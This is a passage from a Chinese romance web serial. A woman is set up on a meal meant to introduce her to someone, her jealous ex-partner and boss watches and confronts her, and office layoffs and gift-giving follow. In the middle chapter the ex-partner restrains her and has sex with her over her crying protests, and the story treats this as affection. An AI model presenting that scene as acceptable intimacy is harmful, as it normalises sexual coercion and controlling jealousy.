“你们点餐呀,怎么把这个事情给忘了。”姜鸿英把菜单递给颜歆,又被送了回来。 “让柠柠先点吧,听说你们之前一起来吃过几次,让我试试你的口味。” “你有什么忌口吗?”姜又柠试探性地问她,看见她摇摇头,也没有按照自己的喜好,点了这家店的几个招牌菜。 等待上菜的空隙,这样面对面坐着就更尴尬了。 姜又柠不是认生的人,但最怕被这样强迫着跟不熟悉的人交谈。 两个母亲都在不动声色地催促自己的女儿主动开口,颜歆递出了自己的二维码,“我们加个微信吧,A市这么多年发展变化太快太迅速了,虽然是我的家乡,但现在还有点儿陌生呢,之后有机会的话,我们可以一起出门逛逛。” “好啊。”姜又柠跟她友好地加上了微信。 姜鸿英皱着眉头,嫌姜又柠不主动,凑到她身边压低声音,“你说话啊,平常话那么多,这会儿怎么不吱声了?你不是最喜欢去过国外的人了?” “……妈。”姜又柠笑得很僵硬。 她妈妈现在怎么也学会内涵人了? “柠柠这孩子性格很好的,每次来宿舍给鸿英拎东西,都会给我带些,我可比鸿英还盼着柠柠来呢。” “是吗?”颜歆笑道,“柠柠,真谢谢你。主要我的学业实在太忙了,作为女儿,确实做得不够好。” “没有没有。”姜又柠尴尬得很,菜送上桌之后,她终于找到话题,介绍了几道自己吃过的菜,还主动用公筷给颜歆夹了几次。 姜鸿英看她露出主动,面上也逐渐露出笑容来,开始跟颜阿姨聊些家政方面的事情。 姜又柠毫无吃饭的心情,也理解网上那些想接个闹钟就走的人。 她现在确实很想让岑曳给自己打一通电话,好找个合适的借口离开这裏。 但岑曳知道她来参加相亲局一定会生气的吧? 虽然她已经很久没有见过岑曳生气的样子了,但对于过去的状况依旧记得很清楚。 尽管无名无分,但只要岑曳想,那她就别想有好日子过了。 姜又柠的心态已经开始从想要岑曳打电话让自己离开变成了她一会儿绝对不会让岑曳来接她了。 【岑曳:吃得好吗?】 屏幕突然亮了下,姜又柠抬眸跟笑着的颜歆对上了视线。 她拿过手机看了眼,随手拍了张照片发了过去。 【姜又柠:饭前没拍照,吃了一大半了。】 【岑曳:嗯。】 嗯? 这个字是什么意思? 姜又柠抿抿唇,想追问下又怕自己露出太多破绽,而且在这个餐桌上一直回消息不太礼貌,所以就将手机放下了。 “你一直在A市生活吗?” 闻言,姜又柠点点头,“我对市区还算了解,吃吃喝喝这方面我都可以给你推荐,但工作什么的我就不太行了……” 颜歆知道她在开玩笑,跟着她笑了笑。 她喝光了杯子裏的大麦茶,姜又柠便将手边的茶壶递给了她。 “谢谢。”颜歆道了声谢,茶水倒得有些快了,些许茶渍溅了出来。 姜又柠见状,下意识拿了纸巾擦了擦桌子。 “抱歉啊。”颜歆笑了笑,取下眼镜眯着眼睛擦了擦镜框。 姜又柠知道自己的卫生习惯被夸赞了,但这是岑曳影响的她。 没了眼镜的颜歆少了些许柔和,气质更淡了些,淡雅的书生气质消散,黑裙子衬得她更高雅了些。 “你的度数很高吗?”姜又柠认真问她。 她身边的朋友很少有近视的,跟江诗文探讨这个问题的时候,江诗文还说,‘上学的时候别人劝我玩儿我就真去玩儿了所以我现在不戴眼镜。’ “有点,五百多度吧。”颜歆说,“不戴眼镜的话,周围就比较模糊了。” 她思索了下,“你会很介意戴眼镜的人吗?” 这是什么话? “没有,我就是随便问问。”姜又柠眨眨眼睛,没深想这话什么意思。 “没关系,现在近视做手术也挺方便的。” “确实,也不贵好像,有的还能医保报销呢。”姜又柠认真回答。 颜歆微愣,笑容更灿烂了些,“柠柠,你挺可爱的。” “谢,谢谢……” 这话怎么除了岑曳夸她,从别人的口中说出来都会让她很别扭呢? 将近一个小时的餐桌上,谢谢倒是来回说了个没完。 姜又柠跟她介绍了几个不错的景点和餐厅,这顿饭终于煎熬地结束了。 她起身去收银臺结账,却被告知在点单之后这顿饭就被颜歆结过账了。 “下次我可以请你。”姜又柠有些不好意思。 她实在不太擅长跟不熟悉的人这样刻意搞关系。 走到餐厅外,颜歆从包裏拿出了一个精致的盒子,“初次见面,这个送给你。” 姜又柠后退了一小步,“不用了吧?” “不合适吗?”颜歆面露为难,“其实我很少跟人交朋友,学业实在太忙了,社交这方面我真的挺发愁的,如果你觉得我太冒昧,真的很抱歉。” “不是,就是太贵重了。”姜又柠解释道,“我们刚认识,不能收下你这么贵重的礼物。” “那我改天再换个礼物送你。”颜歆双手将盒子递到她面前,“可是这个我都买了……” “我真的不能收。”姜又柠摆摆手,她还是有分寸的。 “好吧,看来是我做得不够好。” “不不不,你已经很好了。” 颜歆扶了下镜框,“不少人都说我读书读傻了,听你这么夸我还挺高兴的。” 姜又柠看向她,觉得她有一种没有被社会污染过的美丽。 不像她这么爱耍小脾气,也没有因为年龄逐渐增长之后而变得失去生涩的气息。 像邻家姐姐为了给朋友助威长威风,而脱掉了马甲套衬衫的打扮换上了从未穿过的黑裙子。 “认识你很高兴,我们之后再见面吧。” 姜又柠又跟她握了握手,内心感慨一句好官方的交流。 身后两个母亲见她们结束对话才走过来,姜鸿英走到她身边,“怎么样?你觉得你颜阿姨女儿怎么样?” 姜又柠把她拉远了些,“妈,我上次不是说过了你别搞我最不喜欢的那一套。把我骗过来吃饭,实则给我介绍朋友认识。” “妈妈没有别的意思啊,就是想让你多跟新朋友交流交流,不是老是窝在家裏不出门。”姜鸿英说,“你不是眼光高吗?人家歆歆还是博士毕业的,哪怕只做朋友也是很好的呀。” “不跟你说了我回家了。”姜又柠烦得很。 本来能跟岑曳在家裏一起好好吃顿饭腻歪几下的,这会儿她的好心情彻底消失不见了。 “反正你们聊,我不过多参与。”姜鸿英看了眼时间,“我明天还要早起去做饭,我回宿舍去了。” 姜又柠瘪嘴不耐,一个字也不想说。 “你别生气,我也没让你立马做成什么啊?”姜鸿英拍拍她的肩膀,“年轻人多交点朋友是好事儿。” “你回去吧,我给你打辆车。” “不用不用,这儿离宿舍近,我跟你颜阿姨一起回去。” 两个母亲很快离开了,又剩下两个人面面相觑。 “歆歆姐,我就先回家了。”姜又柠扭捏了半天才喊出来这个称呼,“你在哪裏住啊?” 颜歆报了个小区,“短租的房子,离我妈那儿比较近,之后找到合适的工作了,我再搬到公司附近。” 姜又柠点点头,口袋裏手机铃声响起,她看见是岑曳,下意识心虚地挂掉了。 很快铃声就响起了第二次,姜又柠正准备挂,颜歆就有眼色地道别,“那我就先走了,到家的话给我报个平安。” 目送着颜歆离开之后,姜又柠就接起了电话,还奇怪着岑曳怎么会打第二次。 岑曳一直是很尊重她的人,如果对方没有接起第一次电话,就意味着对方在忙,这个时候只会等回拨,而不是重复拨打。 ——“吃过饭了吗?” 语气不太对,姜又柠一下子就听出来了。 “吃过了,你吃饭了吗?” ——“还没有。” 真的不对劲,姜又柠急忙笑着问她,“那我自己打车回去,快到家的时候你出门,我们一起再在小区附近吃点儿呗?” ——“不用我去接你?” “不用啊,太远了。” ——“你往前走几步。” “……啊?”虽然不太理解女人的话,但姜又柠还是乖乖地往前迈了几小步。 ——“右转,看到那颗光秃秃的树了吗?” 姜又柠心跳猛然加速,她看到了岑曳的车子。 岑曳来了多久,又看到了什么? 那棵树不小,枝干很粗,不仔细往那边瞧是注意不到岑曳那个停车位的。 但岑曳倒是能够清清楚楚看得清徽菜馆裏面的状况。 姜又柠紧张得很,有一种犯错被岑曳抓到的感觉。 以后她去饭店吃饭再也不要坐窗边了! 她要改掉这个坏习惯! 怔愣几秒钟,她又觉得奇怪,她紧张什么呢?她又什么都没做啊。 要是没来多久,她倒是可以随便编几句。 到时候把岑曳的话全都说反驳成是乱想就好了。 而且她跟岑曳到现在也没确认过关系,复合什么的……万一只是她的一厢情愿呢? 姜又柠努力说服着自己不要慌,岑曳就只是在平静地跟她说话而已,语气不好是因为上班太累了。 部门的月度彙报差成那个样子,她要是领导她也会心累的。 姜又柠露出几丝有概率蒙混过关的开心,兴冲冲地朝着女人的车子跑,“你什么时候来的?!” ——“我根本就没走。” 闻言,姜又柠跑过去的步伐立马来了个急剎车—— 作者有话说:岑姐:又在给我嬉皮笑脸的。 第44章 姜又柠选择犟着, 挂了电话站在原地没动。 她就远远地面对面看着树旁边的那辆车子,跟女人无声地对峙。 只要她不认错,那她就没错。 不对, 她本来就没错。 最终还是岑曳憋不住了,她下了车朝着这边大步迈过来。 她嘴边带了几句开场白,没能说出来的时候, 姜又柠就往她怀裏扑了下。 这一抱准备好的话就说不出口了,甚至有些忘了。 姜又柠抬眸看她, “你饿不饿?我们去吃饭吧!” 岑曳冷着脸, 将她往车子的方向带。 “干嘛一句话都不说?”姜又柠哼了一声, “你真的在这儿坐了两个小时吗?” 一想到被岑曳这么盯着吃饭就别扭得很, 况且饭桌上她还被迫跟别的女人认识交朋友。 “要我说你都干了些什么吗?” 这语气还真像她做错了,姜又柠不乐意了,“我干什么了你说说?” 岑曳没理她,只是拍上了副驾驶的门。 “问你又不说了!” “姜又柠。”女人定定看向她。 “……干嘛?”姜又柠心虚地挪开眼神。 “我送你来聚餐不是让你跟别的女人认识的。” “我又不知道是这么个情况, 我妈妈给我打电话吃饭我肯定要去啊, 我怎么知道她是介绍别的女人跟我认识?” “拒绝不就好了?表现得那么亲近做什么?”岑曳保持着平静的情绪,但语气听起来还是格外不耐。 她忍耐着怒意,好好地跟姜又柠去沟通这件事情。 “哪裏亲近了?”姜又柠不知道她怎么会这么想,“不就是正常讲话吗?而且那是我妈妈朋友的女儿,我妈妈跟颜阿姨是家政公司裏认识最久也最好的朋友了!” “我刚回国的时候没见你跟我说话的时候态度这么好。” “这有什么可比性吗?我跟歆歆姐又没过去。” “哦, 你跟, 歆歆姐, 没过去。” 岑曳听不得她这样为别人辩解,现在她跟姜又柠有了新牵扯所以姜又柠会拒绝颜歆的示好。 但要是她没跟姜又柠重新接触合租呢?甚至她还没回国呢? 姜又柠是不是就会听从母亲的话,跟别的女人认识,交友, 甚至谈恋爱? “你干嘛这样讲话?” 岑曳这样一字一句地重复,就像她每个字都说错了一样。 女人扫她一眼,语气依旧,“跟我,岑曳,说话就这样嚣张。” 称呼不一样,态度更是天壤之别。 姜又柠想不明白了,她跟岑曳熟悉啊,而且小时候相处方式不就是这样吗? 她会对岑曳这样,还不是因为岑曳会容忍她的毛病吗? 要是过去岑曳就觉得她越矩,她现在绝对对她毕恭毕敬的。 “你要是不想吃饭就回家。”姜又柠说着就补充了一句,“不想开车载我我就自己打车。” 岑曳冷脸盯她几秒钟,还是启动了车子往家裏走。 两人同坐的车厢内气氛许久都没有这样不愉快,姜又柠憋屈得很。 她根本就没做错,而且岑曳跟她现在什么关系都没有,管她交友做什么? 她就算谈一百个女朋友都行,之前是这样,现在也是这样。 到家之后,岑曳依旧沉默着,换了鞋子脱了外套就进了浴室。 裏面很快就响起了水流声。 “搞什么啊……”姜又柠听见水流声,摸不清岑曳到底在想什么。 把她的火气也挑起来,现在又跟没事人去洗澡了。 “今天要是不哄我,那我以后都不要理你了!”姜又柠对着浴室挥拳,自己转身去了另一间浴室洗澡。 吹头发的时候,她还在想着怎么好好岑曳解释一句。 她现在也不想跟岑曳闹矛盾,可岑曳喜欢自己生闷气,她越是解释,女人就越是生气。 冷处理的方式她自己又不喜欢。 姜又柠小心翼翼从洗漱间钻出个脑袋查看客厅的情况,但周围安安静静的,什么声音都没有。 她又缓缓朝着岑曳的卧室走,敲了几下门没听到任何回应,“岑曳!你不开门我就要走了!” 她敲了第二下,还是没人应,“我真走了!我不会再跟你好了!” 紧接着是第三下,姜又柠气不过,直接推开了门,裏面依旧空荡荡的。 “奇怪,人去哪儿了……”姜又柠找了一圈都没能看见女人的身影。 她只能悻悻走回了自己的房间。 可手还没能勾到开关,就被一道力揽腰捞了过去。 亲吻立即落了下来。 “你吓我一……唔!”姜又柠身上穿着长袖长裤成套睡衣,黑暗中她的手往前推搡,却触碰到女人一丝/不/挂的肌肤。 这个女人居然敢什么都不穿就跑到她房间裏守株待兔。 “你别……”姜又柠努力仰起脑袋躲避女人的亲吻。 岑曳掌心托着她的后脑勺,姜又柠手足无措,双手根本不知道该往哪裏放。 女人的肌肤软软的,滑滑的,姜又柠下意识埋进她的怀裏。 感受到女人微凉的指尖,姜又柠倒吸一口凉气,舌尖侵入,吻愈发强硬,满是侵略性。 她的舌尖被大力搅动着,舌根都开始发酸发麻,淡粉的唇色被磨得发红,甚至微微胀痛。 抑制不住地分泌口水,顺着姜又柠的嘴角溢出来,又被女人舔去,舌尖描绘着她的唇形,伴随着牙齿的啃咬。 姜又柠很快就被折磨得头皮发麻,这个吻带着掌控欲和罕见的怒火,她无论如何都无法推开她。 她用手推,用腿别她都不行,抬脚准备踹她的时候,脚腕就被女人稳稳抓住了。 一条腿被束缚着,她站不稳,跟随着女人的动作踉踉跄跄往床边倒。 岑曳依旧没松开她的脚腕,力道逐渐加重了些。 这样没有安全感的姿势让姜又柠感到害怕,尤其是黑暗状况下,感知力就更强了。 女人倾身轻吻她,时缓时急。 姜又柠推搡着喊她,很快就变得溃不成军,“岑曳……!” 轻抚的手指松开之后,唇舌就接替了上去。 姜又柠用另一只脚踹她,岑曳微微弯腰,两手分别禁锢住了她的脚腕,冷声威胁,,“别做这些没用的。” “你就不能跟我好好沟通……”姜又柠整个人都有些崩溃。 她心慌得很,心脏跳动得极快,脑子裏回想起过去自己惹岑曳生气的时候,也像现在这样,不听解释不听她说话,用满是掌控欲的气场压制住她。 这个女人这种时候还是很让她烦。 岑曳该死的强迫症怎么就快好了呢?不然她还有逃脱的可能性。 姜又柠抑制不住地流下眼泪,被女人的深吻弄得脑子混乱,眸光晕眩,愈发看不清女人的面容。 岑曳吻住她,迫使她的言语都吞回了肚子裏。 姜又柠气死了,这种时候她永远压制不到女人的头上去,她扭头想躲开女人的亲吻,可怎么都推脱不开。 岑曳压住她的身体,捏住她的下巴要她受下自己又一次的深吻。 她抬脚胡乱蹬了几下,双手在女人的后背上划出了几道红印。 岑曳蹙了蹙眉,抓过她的手放在眼前,“爪子还挺狠的,我看看。” 她的指腹在她指甲上磨了磨,威胁意味格外明显。 “岑曳!我跟别人交朋友跟你有什么关系!”姜又柠大口喘着气,一点儿都不服气,“你别想管我!” “牙齿也挺尖的。”女人悠悠道,手指伸进她的口腔内,指腹有意无意地在她下齿上来回地磨,“还有力气折腾是吧?” 看姜又柠愤愤的表情,岑曳又觉得可爱,依旧压着她不准她乱动,忍不住又吻了上去。 哪怕分别得再久,感情再不如当初浓郁,她依旧觉得她最可爱。 姜又柠咬她的唇,尝到血腥味儿都不肯松口。 可无论她怎么报复,岑曳都有办法让她松开。 姜又柠的嘴不松口,另外的地儿也就别想松口。 手指动作,又急又凶,姜又柠舔了下嘴唇,口水立即晕染了血腥味道,迫使她忍不住地吞咽。 她的眼睛早已适应了黑暗,近在咫尺的距离让她看清了女人的脸庞。 女人那双眸孔沉沉地直视她,平日裏那点儿温柔悉数褪去,唇角往下压,气场冷冽。 姜又柠按住女人的胳膊,指甲掐进她的肌肤,眸光都变得模模糊糊的,什么也看不清。 她断断续续地说不出任何清晰的话。 大脑哗哗的,一片空白。 女人将她的反应尽收眼底,“还要闹吗?” “……我闹什么了?”姜又柠情绪彻底收不住了,她哭出声来,脑子晕晕沉沉的。 “还跟我犟?”女人的声音染上了更多冷意,手掌开始有意无意地威胁。 “可我又没错!” 小猫叫的尾音依旧抵抗着女人的话。 姜又柠依旧不从,顶嘴的后果就是女人的手指被泡得发皱发白,最后还要在她舌头上蹭掉水渍。 被抱着出房间的时候,姜又柠已经不知道过去了几个小时。 身体泡在满是温水的浴缸裏,疲惫感很快就涌了上来,她连睁开眼睛的力气都没了。 她感受着岑曳给她冲洗身体,抹上沐浴露,最后瘫在椅子上,岑曳又给她擦干身上的水珠。 主卧的床很大,还有着熟悉的皂香,依旧是她那款试用装的青柠味儿。 “又偷用我的手工皂……”姜又柠抓紧床单,还是很不服气,哪怕迷迷糊糊地整个人都被困意席卷也还是要反驳她。 岑曳对着镜子看背后的几道抓痕,随口解释,“老板送错了,送了好几块青柠味儿的手工皂,不过偶尔尝试一下新的也不错。” “我也要尝试新的!” 女人透过镜子扫她,姜又柠察觉到这个凶凶的眼神,眯着眼睛看了下又转头对着墙面,“尝试一下新的手工皂。” 她趴在床上,心酸得很,“你这个人,真的很凶……” 岑曳今晚并不打算收拾脏掉的床单,要不是觉得脏,她宁愿永远不收拾。 姜又柠不是要跟未来的女朋友从一张床滚到另一张床吗? 她现在就可以满足她的愿望。 不止满足一次。 “不是你哈气的时候了?”岑曳半躺在床上,表情一副餍足的样子。 哈气有什么用? 会被按住不准动,剪掉她的指甲,揉搓她炸起的毛。 累得要命,岑曳抱起她,要她趴在自己的身上。 姜又柠枕着她的胸,用头发胡乱地蹭她。 岑曳阖了眼,温热的掌心轻拍着身上人的后背,温柔的气质逐渐聚拢在了她的周身。 有谁知错就改了吗? 好像没有。 又有谁道歉了吗? 也没有。 什么都没能改变,但事情似乎越来越不受控了—— 作者有话说:[害羞][害羞] 第45章 第二天中午, 姜又柠一觉睡到了十点多。 “糟了糟了!”她猛然从床上坐起来,刚下床双腿就发软,脑子依旧懵懵的。 她扶着墙思考了一秒钟, 就重新躺回了床上。 编辑信息,给人事发请假条,闭上眼睛继续睡, 动作一气呵成。 醒来餐桌上还放着早餐,早都已经凉掉了, 微信裏还有岑曳十一点发来的消息。 【岑曳:还没睡醒?】 姜又柠懒得理她, 把包子放进微波炉裏按下倒计时, 又往碗裏倒了热水把豆浆放进去加热。 她打开自己卧室的门, 发现床单已经被收拾得干干净净,脏掉的床单还在篓子裏放,没有时间清洗。 她用手指捏住床单一角,看见上来大块大块还没干透的印子, 脑子裏又冒出昨晚的记忆。 做得实在太久了, 她甚至一想起那些亲密的场景就会双颊发烫。 “可我根本没做错啊,根本就是岑曳单方面对我报复……”姜又柠不乐意。 折腾到那么晚,还耽误她赚全勤呢。 好几百块,够她吃顿海鲜大餐了。 慢吞吞吃着包子的时候,姜又柠烦躁得很, 哪怕是重新加热的包子, 味道也不怎么美味了。 早知道她应该点外卖的。 正想着门便开了, 岑曳手裏拎着午饭出现在了她客厅。 “冷掉的包子还吃?”女人将餐盒放在她面前,快速洗了个手返回坐下。 “你干嘛中午又跑回来?我今天请假了。” “怕你吃不饱饭,回来一趟。”岑曳扬扬下巴示意她,“白灼大虾, 糖醋排骨,还有个清炒时蔬,一份米饭。” 姜又柠拆开饭盒包装,喷香的饭菜让她的肚子立刻开始咕咕叫。 岑曳倒了杯热水坐在她面前,偶尔喝一口,也没有要多说什么的意思。 “你吃过了吗?”姜又柠问她。 岑曳点点头,“下午好好休息,多睡会儿。” “都怪你,耽误我赚全勤,好几百块呢。” 说完,女人就在手机上给她转了几百块过去。 “想多休息几天也可以,我把工资转给你。” “我才不要。我不是爱占上司便宜的人。” 女人反问她,“那我是爱占员工便宜吗?” “没有下一次了! “没有下一次?”岑曳没由来地笑了下,“你最好是没有下一次。” “我干什么了?”姜又柠撂了筷子,怎么还觉得是她的责任,“我正常交友都不行吗?你说的跟我犯罪了一样。” “我看你不像是正常交友。” “是不是你不是在车上都看见了吗?自己不回去非要在那儿看,生闷气又要把责任推到我身上!” 显得她裏外不是人,这个女人都现在了还敢因为昨晚的事情生气? 她还没骂她那么凶呢,昨晚哭着喊着都没能让她心软,受不住地往前爬又被捏着腰拖回来。 “姜又柠。”岑曳冷脸喊她。 “你就知道喊我大名,就知道威胁我!”姜又柠愤愤道,“我们有什么关系吗?炮友?还是合租室友?无论是哪种关系你都管不到我交友吧?” 恋爱更是管不着,不过她没那个胆子说。 “在你眼裏我们就是这种关系?”岑曳不喜欢她口中的几个形容词。 “还能有别的吗?”姜又柠对上她的眼神,鼻子微酸,“做不到别的了……” 要是她们之间真能爽快地复合,姜鸿英哪裏会给她介绍朋友的女儿认识。 “岑曳,你很喜欢我们现在这种状态吗?” 不知道结果,不知道未来好坏与否,就这样藕断丝连的,就像是海上涌起风浪的帆船,不知道下一秒是浪平还是第二次被掀进深深的海底裏。 “挺喜欢的啊。”岑曳淡淡看向她。 总比形容陌路好,总比闹得老死不相往来好。 她足够幸运了,一回国就能碰到姜又柠,还巧合般地找到机会跟她合租。 但她忘了姜又柠不是小时候天真纯洁只想着如何在学习上偷懒的女孩子,她变得成熟,甚至脆弱了些。 责任压在她的肩膀上,让她不敢再去要自己想要的。 每次真心话的流露,就像在告诉岑曳,为什么当初不肯紧紧抓住她的手? “我们岑总监就喜欢享受这种暧昧关系吗?还要阻拦我的社交。”姜又柠哈了下,语气酸涩,“你的掌控欲是不是太强了点儿?” “姜又柠,不管你怎么想我,但我跟过去一样,怎么都不会变。”岑曳看了眼时间,起身赶回了公司。 门开了又关,姜又柠吃着排骨,豆大的眼泪掉进了碗裏,什么味道都尝不出来了。 “你这个人怎么这么霸道啊……”她擦掉自己的眼泪,“我现在不是只会绕着你转的小孩子了……” 她过去说了太多自大的话了,觉得自己小小的世界裏只需要让岑曳进来就好了。 岑曳会帮她把不喜欢的课程从脑子裏抓出去,只留下一起出去玩儿的开心的场景。 没有什么是刚到岑家没多久,发现岑曳对她格外优待更加快乐的事情了。 初中有一次姜鸿英忙,但学校需要开家长会,本来姜鸿英请了假要去的,但姜又柠想让岑曳陪她去,便对着姜鸿英说家长会家长不去也可以。 她没给自己留下任何退路,第一次小心翼翼地在岑曳面前试探着她到底对自己能有多好。 姜又柠已经抱着会被拒绝的打算了,家长没来,无非就是班主任打个电话,她的谎言被戳穿,挨一顿姜鸿英的骂而已。 但让她意外的是,她刚开口,岑曳就立马同意了。 “我们柠柠,想做什么就做什么呗。”岑曳勾勾她的鼻子,陪着她去了学校。 她不掩饰自己的虚荣心,她想要岑曳化全妆,然后她就昂首挺胸地告诉全班同学,这是她的姐姐,这群只知道九九八十一的小屁孩们就等着羡慕去吧。 家长会的那两个小时裏,家长坐在学生的位置上,学生站在家长身边。 在同学们投来的艳羡的目光中,姜又柠的背从来没有那样挺直过。 成绩单就在桌面上放着,岑曳看着排名,嘴角抑制不住地上扬。 “我之后会进步的。”姜又柠捂住成绩单,“你等着看就好了。” “倒数第一考到倒数第二也算进步吧?我们柠柠说的是这种进步吗?” “你瞧不起我?!”姜又柠小小的手抓住她的手腕,“我要是考到班裏前十名,你能给我奖励吗?” “当然可以。”岑曳欣然应允,“你想要什么奖励?” “我想让姐姐陪我睡。”姜又柠的声音立即变低了,羞赧道,“妈妈回宿舍住的时候,我一个人睡觉害怕……” “好啊,那我就等着你进步咯。” 那天傍晚从学校回家,连晚风都是甜的,姜又柠绕着岑曳转圈圈跑,张开嘴巴接空气,刘海被吹得七零八落,跟狗啃的一样,但她真的很开心。 后来姜又柠拎着第十一名的成绩回了家,背着重重的书包,脸上挂了好几道泪痕,一看就是在放学回家的路上就开始哭了。 岑曳笑了好久好久,在姜又柠由丢脸的情绪变为被频繁笑话的炸毛时,她及时收敛了笑容。 “也进步了很多嘛,晚上要来我的房间吗?” “可以吗可以吗!”姜又柠眼睛亮了亮,她意外得很。 她想的是,岑曳会来她的房间睡。 她知道岑曳爱干净,她会从衣柜裏找一套洗干净的床单自己提前换好的,但没想到自己可以去岑曳的卧室。 “我不是说了吗?我们柠柠想做什么都可以。” 这种话对于姜又柠的冲击力太大了,她往日在别的雇主家受的那些欺负好像都只是为了磨炼她,要她好好地迎接跟岑曳的相遇。 她对岑曳,很快就没了认生的情绪,当晚用沐浴露给自己洗了好几遍,直到哪裏闻起来都香香的,她才穿着自己的睡裙抱着枕头去了岑曳的房间。 第一次跟岑曳睡在一起,她太具体的事情记不得,只知道床好大,岑曳的怀抱很温暖,她不小心把腿挂在了她身上…… 那晚,她许下了自己想要一直留在岑家的愿望。 她以为自己是胆小的,从来没有勇气说出自己想要的东西的那个机会。 因为她的家境不允许,她没有那个实力和底气。 可岑曳告诉她,你可以说出来,在我这裏,我什么都可以为你实现。 尽管小孩子提出来的要求都格外渺小也很容易实现,但她真的觉得,这个世界上没有比岑曳对她更好的人了。 怎么会有人不嫌弃她的妈妈是做低人一等的家政的,也不觉得她这个小孩子很吵很闹腾。 她在岑曳面前,总能够表现出最真实的自我。 …… 排骨被吃得干干净净,姜又柠吐出最后一块骨头,过去那些快乐的记忆,现在想起来的时候总是酸酸涩涩的。 得到的太容易,失去之后就无比难受。 可她已经习惯了没有岑曳的生活。 变成一个无聊又麻木的成年人,在她这种家庭状况下,做到简直轻而易举。 她没有太多的金钱挥霍在自己感兴趣的事情上,也无法像在校园裏那样,找到不考虑利益的同一阶层的朋友。 “岑曳,你太想当然了吧……”姜又柠喃喃道,“我现在已经不能随心所欲的做事情了。” 小时候,是岑曳给她撑腰,给她涨胆子。 现在呢? 她承受不了任何不好的结果了。 她们的身体似乎还很契合,但除此之外,再没有别的了。 岑曳说她永远不会变,可她已经不再是当初那个嚣张又爱放狠话的小霸王姜又柠了—— 作者有话说:得到的太容易,失去的时候就会很痛苦,但最后失而复得的感觉要更加美好呢~~ 我们柠柠现在还在第二阶段啦!!《 》 45-50 第46章 第二天一早, 姜又柠准时到达了工位上。 在岑曳空降之后,部门内说说笑笑的气氛本就少了很多,今天更是奇怪, 明显的死气沉沉,一点儿欢声笑语都没了。 对角那边的工位坐满了几个人,是姜又柠没怎么见过的, 应该是庄玟手下的人。 “什么情况?”姜又柠问着江诗文。 她不就一天没来,不会错过了什么重要的事情吧? “昨天早上把剩下的月度彙报弄完了, 午饭前就劝退了好几个, 下午也是。”江诗文压低声音, “庄玟跟岑曳姐一起审批的, 还有人哭着从会议室出来的,午休之后就没再见到她了。” “这么严重啊?”姜又柠往办公室看了眼。 那会儿中午岑曳还回家给她送午饭来着,还真一个字都没跟她提。 “下午最恐怖了,岑曳姐回来之后表情冷得很, 不知道发生什么了。”江诗文揣测道, “难道也跟我一样,在食堂的饭裏吃出苍蝇了?!” “啊……?”姜又柠皱了皱脸蛋。 “我已经投诉给公司大楼的物业了,那个窗口饭又贵又难吃,气死我了!我还不如去旁边的餐厅吃饭呢。”江诗文撑着脸,“下次饭卡没钱就不充了, 我以后不去食堂了。” 正聊着天, 余光瞥见庄玟走过来, 姜又柠立即垂下头工作。 她那天月度彙报的时候算是见识过庄玟在工作上的状态了。 要不是因为还有江诗文这层很薄很薄的关系在,她对于庄玟这种领导绝对会避得远远的。 “给你。”庄玟在江诗文工位前放下一杯奶茶,又在姜又柠面前也放了一杯,“还有你的。” 姜又柠狐疑地看了一眼江诗文, 不懂什么情况。 “谢了。”江诗文大摇大摆地拆开喝了一口,“免费的果然不错嘛。” “我就不要了吧?”姜又柠摆摆手,笑得很难看。 庄玟扫她一眼,表情不冷不淡,“我在网上看到的,说送人礼物,要给她的朋友也送一份。” 姜又柠额头上冒出几道黑线。 在哪个网上看到的? 校园墙吗? “我定制了三叶草的项链,送到了之后我一并给你们带过来。” 姜又柠大惊,推了几下江诗文要她赶紧说话。 “要啊,免费的为什么不要?”江诗文提醒道,“我们庄总监应该会在上面多加几颗钻的吧?” “也可以,我一会儿把要求给设计师发过去。”庄玟抬眼看向姜又柠,“你也是吗?” 姜又柠一个字都不敢说,她一会儿得去找岑曳说说了,不然这事儿没完没了。 庄玟刚到国内的时候,她稍稍帮江诗文问几句庄玟的情况,就被岑曳冷脸质问过好几次。 她现在疯了吗? 敢收庄玟爱屋及乌的首饰? 庄玟见她不说话,撂下一句话就走,“那我就看着来了。” “真是钱多烧得慌。”姜又柠坐不住了,顾不得昨天中午刚跟岑曳在餐桌上说了些过意不去的话,这下直奔了办公室。 岑曳抬眸见她来,压下嘴角的笑意,面无表情道,“还以为你请了好几天假。” “我给你送奶茶喝。”姜又柠笑着双手将刚才的那一杯奶茶放到了岑曳的办公桌上。 岑曳看了一眼,皱着眉头,“又点奶茶?含糖量太高。” “是庄玟买的。” 女人表情顿住,看向姜又柠的眸光裏多了些猜测。 哦,原来不是为了昨天中午的事情来的。 “你能不能劝劝庄玟,她跟诗文发展感情的时候不要把我扯进去啊!” 岑曳扯扯唇冷笑,“现在才开始担心吗?” 她早就警告过姜又柠,不要随意掺和别人的感情,尤其是这种双方都认识的状况下,不然最后两头受难为。 “她追人不能按照大学生那套来吧?送别人礼物,还要给别人的朋友送一份。”姜又柠给自己打抱不平,“关键是吃的喝的这些也就算了,首饰这种非常私人的礼物也送双份干嘛?” “她真这么说的?” “对啊。”姜又柠疯狂地点头,“我反正不敢跟她说话,诗文巴不得她多花钱,我只能来找你了。” 她先把这事儿给岑曳坦白了,不然她真怕这个女人回头又拿着这事儿大吃特吃酸醋,受罪的只有她一个人。 岑曳嘴角的笑意终于不压了,“脑子裏到底在想什么呢。” “她之前没追过人吗?”姜又柠也想不明白,怎么会有人真的按照网上那些发展关系的帖子去学呢? 真的这么感情白痴吗? “热爱工作的人就是这样的。”岑曳话题微转,“所以你打算拿她的首饰怎么办?” “什么意思…… ?”姜又柠看见女人收敛起笑容的这张面容,心裏倏地一慌,“到时候肯定都给诗文了,你知道的,我又不是爱占小便宜的人。” 看见女人依旧盯着她看,眸光中的神色复杂,姜又柠敏锐地感觉到了什么。 大概还是因为那顿相亲饭。 她不想再继续讲这件事情,谁都觉得没错,那根本讨论不出什么结果的。 “我走了,我不能在你这儿待太久。” 现在部门裏近段时间裁了太多人,都不够安分,之前又有传闻说岑曳面对她的时候态度很不错。 万一让部门裏的人觉得她是走后门的就不好了。 “姜又柠。” 她刚迈出一步就被女人喊住。 岑曳示意了下奶茶,“来找我就只是为了说这个?” 姜又柠不解,但还是点点头,“不……然……呢?” 看见女人嘆口气重新坐回了办公椅上,姜又柠头也没回地离开了。 微信群突然有个解散提醒,姜又柠点开看,是刘姐创建的工作小群。 姜又柠往刘姐的工位看了眼,发现换了个人。 “刘姐呢?” “昨天也走了。”江诗文说,“把几个为首的爱挑拨的也都劝退掉了。” 方言往下,在座的每个员工脸上都写着努力工作的憨厚。 